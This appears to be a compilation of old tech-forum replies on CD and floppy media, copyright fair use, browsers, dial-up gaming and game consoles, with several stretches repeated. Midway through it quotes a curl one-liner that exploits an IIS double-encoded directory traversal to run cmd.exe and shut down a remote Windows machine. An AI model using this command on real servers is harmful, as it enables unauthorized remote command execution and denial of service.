There is nothing you can do with a floppy disk that you can't theoretically do with a cd
How about writing to them on the cheapest computers? The most inexpensive PCs still come with CD-ROM or DVD-ROM drives, not CD-RW drives.
How about writing to them while listening to an audio disc? Most computers have only one CD drive.
How about booting from them on old computers? Many old computers' BIOS don't support booting from a CD-ROM drive.
How about making a bootable CD at all? When Roxio Easy CD Creator 4 makes an El Torito boot image, it does the equivalent of a 1440 KB 'dd' from drive A:. I don't know how other tools for Windows work because I haven't bought them.
CBS is owned by Viacom Inc. ABC is owned by The Walt Disney Company. Fox is owned by News Corporation. Money given to senators' political campaign funds is often used for television ads. So when Viacom, Disney, and News Corp donate money to a political campaign funds, they in effect give the senator some free airtime.
But by FCC regulation, owners of television networks are supposed to make airtime available under equal terms to all qualified candidates for an elected government position. So can campaign contributions be considered a violation of the equal time doctrine?
The width of a railroad track goes back to the width of horse-drawn vehicles that ran on standardized rutted roads, which in turn was based on slightly more than twice the width of a horse's rear end. Let Cecil Adams explain the rest.
I guess he could get the legal eagles to define 'audience' as one or more people or pets.
United States copyright law, 17 USC 101 defines an audience as "a substantial number of persons outside of a normal circle of a family and its social acquaintances".
What is fair use? Fair use is not a law. There's nothing in law.
He obviously has not read Title 17, United States Code, the statutes that specify copyright law in the United States. If he had, he would have seen section 107, which tells the judge what four factors to look at.
And one of the four factors is commercial exploitation. Nothing from nothing leaves nothing. If a work is out of print or otherwise not being exploited, then it'd probably be possible for a defendant's counsel to argue that by taking the work out of print, the copyright owner has admitted that the work has negligible market value, that unauthorized copying could not possibly diminish the market value, and that the use of such material is more likely to be fair.
Unless you construct the preamble and tail in-place, which few functional languages make easy, you have to repeatedly create new objects "preamble" and a new object "tail". Then, to get rid of unreachable objects, you need to run GC in the background, which AFAIK doesn't work reliably in a real-time setting on an embedded system such as a a game console with a 16.78 MHz processor and 384 KB of RAM. (But then, I may not know far enough.)
Apple... is producing a browser that is causing people to migrate away from Opera on no less than 8 operating systems.
That's at least half right. I can think of at least four operating systems where Apple's contribution to the KHTML component may cause Opera's market share to decrease: Mac OS X Jaguar, Linux, FreeBSD, and Solaris operating environments. The X11 based version of Safari is called "Konqueror" and comes packaged with the forthcoming KDE 3.2 desktop environment.
The difference between KHTML 3.1 (used in KDE 3.1) and KHTML 3.2 (used in Safari and KDE 3.2) is more like the difference between Microsoft Internet Explorer 5 (used in Microsoft Windows 2000) and Microsoft Internet Explorer 5.5.2 (used in Microsoft Windows 2000 Service Pack 3). In other words, not much significant has changed.
So what's your solution for gamers in geographical areas where the local cable company does not offer cable Internet access and the telephone company doesn't offer anything faster than ISDN but cheaper than T1?
Is chess a modern game?
OK, not chess, but it's still possible to invent a real-time computer game that's trivially simple to play over dial-up. Just design the play system so that twitches are less important than overall field tactics.
We're talking about games like Madden
22 men? It's possible to encode each's displacement, velocity, and acceleration in about 6 bytes (or less) and fit the whole game state in a single UDP packet. It just shows that good network coding practices, such as having the offensive line done via AI on both sides and dead-reckoning the positions of players, can make games with lots of moving objects still feel fast even over a slow connection.
Furthermore the fact that the system requirements say something is a joke.
My rule of thumb is to take the minimal requirements and double them. That's why I suggested 56K when the requirements stated 28.8.
find the "recommended hardware" instead
Even when taking into account the "recommended" section, the Warcraft III requirements didn't indicate anything greater than 28.8.
If you've actually done it and it works, say so.
Because my main box has a TNT2 and only 128 MB of RAM, and I'm in no financial position to buy more hardware, I have never played Warcraft III, but Warcraft II Battle.net Edition runs just fine over dial-up.
So if you're avoiding Best Buy, where do you plan on buying your next x86 architecture laptop computer? Does the manufacturer sell them without Microsoft Windows?
If you're a musician, who writes your songs? If you're both a performer and a composer, then how do you make sure that you don't accidentally copy somebody else's songs when writing your own?
Linux under VM on zSeris (or s/390 or whetever IBM decides to call it....). Granted most ISP's can't afford a mainframe.
If you define a "mainframe" as any computer that can act as a server and run operating systems in virtualization, then you can get a mainframe for as low as $200: a Microtel box from Walmart.com running Linux inside Linux. Scale the price up to whatever hardware the ISP has on its racks.
It released at $300 and cost sony an estimated $450 per unit to manufacture.
Are you just assuming $450 is the case? As far as I know, most consoles are initially sold at a price that approximately breaks even with marginal cost.
Then why is only dead technology available in many geographical areas? And why does dead technology have so many more subscribers than not-dead technology?
You cannot play modern games over a modem.
At first glance, that looked like a contradiction: "You cannot play modem games over a modem." But then I realized you had written "ModeRn".
Do chess, checkers, and hearts work over a modem? Yes. Does Warcraft 3 for the PC work on v.90? Yes; according to its system requirements, it even works on 28.8. Even the popular PC first-person shooters still work over 56K, though you get the most fair experience playing against other 56K users rather than against users lucky enough to have broadband move into their town.
The DVD-Video adapter for Xbox costs $30, but I guess the included broadband adapter offsets that. Still, the Xbox leaves dial-up users who live in areas where consumer-priced broadband Internet access is not available in the dark.
Rare Ltd, a British game developer, was once half-owned by a Japanese company named Nintendo Co Ltd. Thus, even though it's not an acquisition of a Japanese company, it's still an acquisition from a Japanese company.
I've always wondered what Microsoft's acquisition of half of Rare will mean for Rare games on handheld systems. Will Microsoft publish Rare games on Game Boy platforms, following Microsoft's previous release of "Windows Entertainment Pack: The Puzzle Collection" on Game Boy Color? Or will Microsoft bring out its own handheld game system based on the Pocket PC platform, called the "Xboy"?
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There is nothing you can do with a floppy disk that you can't theoretically do with a cd
How about writing to them on the cheapest computers? The most inexpensive PCs still come with CD-ROM or DVD-ROM drives, not CD-RW drives.
How about writing to them while listening to an audio disc? Most computers have only one CD drive.
How about booting from them on old computers? Many old computers' BIOS don't support booting from a CD-ROM drive.
How about making a bootable CD at all? When Roxio Easy CD Creator 4 makes an El Torito boot image, it does the equivalent of a 1440 KB 'dd' from drive A:. I don't know how other tools for Windows work because I haven't bought them.
How does the law affect DJs?
DJs license public performance rights from companies such as BMI.
CBS is owned by Viacom Inc. ABC is owned by The Walt Disney Company. Fox is owned by News Corporation. Money given to senators' political campaign funds is often used for television ads. So when Viacom, Disney, and News Corp donate money to a political campaign funds, they in effect give the senator some free airtime.
But by FCC regulation, owners of television networks are supposed to make airtime available under equal terms to all qualified candidates for an elected government position. So can campaign contributions be considered a violation of the equal time doctrine?
The width of a railroad track goes back to the width of horse-drawn vehicles that ran on standardized rutted roads, which in turn was based on slightly more than twice the width of a horse's rear end. Let Cecil Adams explain the rest.
I guess he could get the legal eagles to define 'audience' as one or more people or pets.
United States copyright law, 17 USC 101 defines an audience as "a substantial number of persons outside of a normal circle of a family and its social acquaintances".
He obviously has not read Title 17, United States Code, the statutes that specify copyright law in the United States. If he had, he would have seen section 107, which tells the judge what four factors to look at.
And one of the four factors is commercial exploitation. Nothing from nothing leaves nothing. If a work is out of print or otherwise not being exploited, then it'd probably be possible for a defendant's counsel to argue that by taking the work out of print, the copyright owner has admitted that the work has negligible market value, that unauthorized copying could not possibly diminish the market value, and that the use of such material is more likely to be fair.
I don't see how downloading a bunch of freely redistributable GBA games and demos will "get Nintendo back".
Pokemon [for GameCube] will not REQUIRE [a GBA, a GCN/GBA cable, and Pokemon for GBA] to be played.
Are you claiming that this page, this page (which directly quotes a Nintendo press release), and this page are all inaccurate?
but that's like complaining that Splinter Cell REQUIRES XBoxLive to play all the levels
Square's Final Fantasy XI for the PlayStation 2 console will REQUIRE the Linux kit.
the preamble is
Unless you construct the preamble and tail in-place, which few functional languages make easy, you have to repeatedly create new objects "preamble" and a new object "tail". Then, to get rid of unreachable objects, you need to run GC in the background, which AFAIK doesn't work reliably in a real-time setting on an embedded system such as a a game console with a 16.78 MHz processor and 384 KB of RAM. (But then, I may not know far enough.)
Apple ... is producing a browser that is causing people to migrate away from Opera on no less than 8 operating systems.
That's at least half right. I can think of at least four operating systems where Apple's contribution to the KHTML component may cause Opera's market share to decrease: Mac OS X Jaguar, Linux, FreeBSD, and Solaris operating environments. The X11 based version of Safari is called "Konqueror" and comes packaged with the forthcoming KDE 3.2 desktop environment.
The difference between KHTML 3.1 (used in KDE 3.1) and KHTML 3.2 (used in Safari and KDE 3.2) is more like the difference between Microsoft Internet Explorer 5 (used in Microsoft Windows 2000) and Microsoft Internet Explorer 5.5.2 (used in Microsoft Windows 2000 Service Pack 3). In other words, not much significant has changed.
I meant only that Best Buy, like 99+ percent of sources of laptop computers, sells only whole computers bundled with Microsoft Windows.
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So what's your solution for gamers in geographical areas where the local cable company does not offer cable Internet access and the telephone company doesn't offer anything faster than ISDN but cheaper than T1?
Is chess a modern game?
OK, not chess, but it's still possible to invent a real-time computer game that's trivially simple to play over dial-up. Just design the play system so that twitches are less important than overall field tactics.
We're talking about games like Madden
22 men? It's possible to encode each's displacement, velocity, and acceleration in about 6 bytes (or less) and fit the whole game state in a single UDP packet. It just shows that good network coding practices, such as having the offensive line done via AI on both sides and dead-reckoning the positions of players, can make games with lots of moving objects still feel fast even over a slow connection.
Furthermore the fact that the system requirements say something is a joke.
My rule of thumb is to take the minimal requirements and double them. That's why I suggested 56K when the requirements stated 28.8.
find the "recommended hardware" instead
Even when taking into account the "recommended" section, the Warcraft III requirements didn't indicate anything greater than 28.8.
If you've actually done it and it works, say so.
Because my main box has a TNT2 and only 128 MB of RAM, and I'm in no financial position to buy more hardware, I have never played Warcraft III, but Warcraft II Battle.net Edition runs just fine over dial-up.
The compiler is probably the biggest reason for me to 'switch'.
I am happy with MinGW, a port of GCC to Windows.
And there's always buying a "new" PC from parts on Price Watch and assembling it yourself.
Where can I get myself a good x86 motherboard and case, in laptop form factor?
So if you're avoiding Best Buy, where do you plan on buying your next x86 architecture laptop computer? Does the manufacturer sell them without Microsoft Windows?
If you're a musician, who writes your songs? If you're both a performer and a composer, then how do you make sure that you don't accidentally copy somebody else's songs when writing your own?
Linux under VM on zSeris (or s/390 or whetever IBM decides to call it....). Granted most ISP's can't afford a mainframe.
If you define a "mainframe" as any computer that can act as a server and run operating systems in virtualization, then you can get a mainframe for as low as $200: a Microtel box from Walmart.com running Linux inside Linux. Scale the price up to whatever hardware the ISP has on its racks.
curl http://$HISADDR/scripts/..%255c..%255cwinnt/system 32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindo wsEx%201
Do you mean Curl, which is expensive, or do you mean Wget?
It released at $300 and cost sony an estimated $450 per unit to manufacture.
Are you just assuming $450 is the case? As far as I know, most consoles are initially sold at a price that approximately breaks even with marginal cost.
Modem technology is dead.
Then why is only dead technology available in many geographical areas? And why does dead technology have so many more subscribers than not-dead technology?
You cannot play modern games over a modem.
At first glance, that looked like a contradiction: "You cannot play modem games over a modem." But then I realized you had written "ModeRn".
Do chess, checkers, and hearts work over a modem? Yes. Does Warcraft 3 for the PC work on v.90? Yes; according to its system requirements, it even works on 28.8. Even the popular PC first-person shooters still work over 56K, though you get the most fair experience playing against other 56K users rather than against users lucky enough to have broadband move into their town.
Will the hard drives increase in capacity from the current 8, 10 or 20 GBs to make room for the music and movies?
Perhaps, but I'm guessing that the Xbox side of the new unit will see only the first 8 GB of partitions for backward compatibility's sake.
For the same price of a PS/2
The DVD-Video adapter for Xbox costs $30, but I guess the included broadband adapter offsets that. Still, the Xbox leaves dial-up users who live in areas where consumer-priced broadband Internet access is not available in the dark.
Except that Rare is not Japanese...
Rare Ltd, a British game developer, was once half-owned by a Japanese company named Nintendo Co Ltd. Thus, even though it's not an acquisition of a Japanese company, it's still an acquisition from a Japanese company.
I've always wondered what Microsoft's acquisition of half of Rare will mean for Rare games on handheld systems. Will Microsoft publish Rare games on Game Boy platforms, following Microsoft's previous release of "Windows Entertainment Pack: The Puzzle Collection" on Game Boy Color? Or will Microsoft bring out its own handheld game system based on the Pocket PC platform, called the "Xboy"?